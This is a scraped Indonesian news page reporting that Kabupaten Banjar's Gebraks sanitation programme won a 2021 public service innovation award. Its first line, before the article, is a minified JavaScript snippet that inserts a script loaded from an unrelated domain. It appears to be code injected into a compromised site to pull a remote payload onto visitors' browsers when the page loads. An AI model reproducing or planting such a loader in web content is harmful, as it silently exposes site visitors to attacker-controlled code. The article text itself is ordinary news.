(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Inovasi Gerakan Bersama Realisasi Akses Sanitasi (Gebraks) milik Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kabupaten Banjar meraih penghargaan Top Inovasi Pelayanan Publik Kluster Kabupaten pada Kompetisi Inovasi Pelayanan Publik (KIPP) Tahun 2021.
Ajang bergengsi tahunan ini diselenggarakan oleh Kementerian Pendayagunaan Aparatur Negara dan Reformasi Birokrasi RI bekerjasama dengan Universitas Gunadarma.
Pemberian penghargaan disaksikan oleh Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi Tjahjo Kumolo secara virtual. Sementara hadir Bupati Banjar H Saidi Mansyur didampingi Sekda Banjar HM Hilman, Kepala Dinas PUPR Banjar Ahmad Solhan dan Kepala Bappeda Litbang Banjar Galuh Tantri Narindra di Command Center Manis, Selasa (9/11/2021) pagi.
Saidi Mansyur turut mengapresiasi capaian Dinas PUPR dan berharap agar inovasi Gebraks dapat dikembangkan lebih jauh sehingga manfaatnya akan makin terasa dan makin luas.
Baca juga : Musim Hujan Tiba, Warganet Ini Berburu Laron untuk Dijadikan Makanan
”Selamat untuk inovasi Gebraks yang sudah terpilih menjadi Top Inovasi Pelayanan Publik Tahun 2021. Saya berharap inovasi ini tidak berhenti di sini saja tetapi juga mampu menginspirasi kabupaten/kota lain. Masyarakat akhirnya sadar akan pentingnya hidup sehat di sekitaran bantaran sungai dan akses capaian sanitasi meningkat,” harap dia.
Sementara itu, Sekda Banjar HM Hilman menjelaskan, latar belakang dibikinnya inovasi Gebraks, yaitu keberadaan jamban apung di sekitar bantaran sungai membuat air sungai tercemar, masyarakat makin sulit mendapatkan air bersih.
Dia mengatakan, faktor tersebut melatarbelakangi dibuatnya inovasi penghapusan jamban apung. Selain itu angka stunting yang cukup tinggi di Kabupaten Banjar juga berkaitan erat dengan tingkat pencemaran sungai.
Baca juga : Jadi Korban Investasi Bodong, 9 Warga Datangi DPRD Kotabaru
”Oleh karena itu inovasi ini digulirkan dengan menggagas pembuatan kakus sehat sekaligus membongkar jamban jamban Apung di sekitar bantaran sungai,” ungkap dia.
KIPP tahun 2021 merupakan KIPP yang ke-8, dimana seluruh tahapan penilaian dilaksanakan secara virtual tanpa ada tatap muka antara peserta dan tim penilai. Ada tiga kelompok inovasi yang dikompetisikan yaitu Kelompok Umum, Kelompok Replikasi dan Kelompok Khusus. (kanalkalimantan.com/rls)
Reporter : Rls
Editor : Dhani
KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More
KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More
This website uses cookies.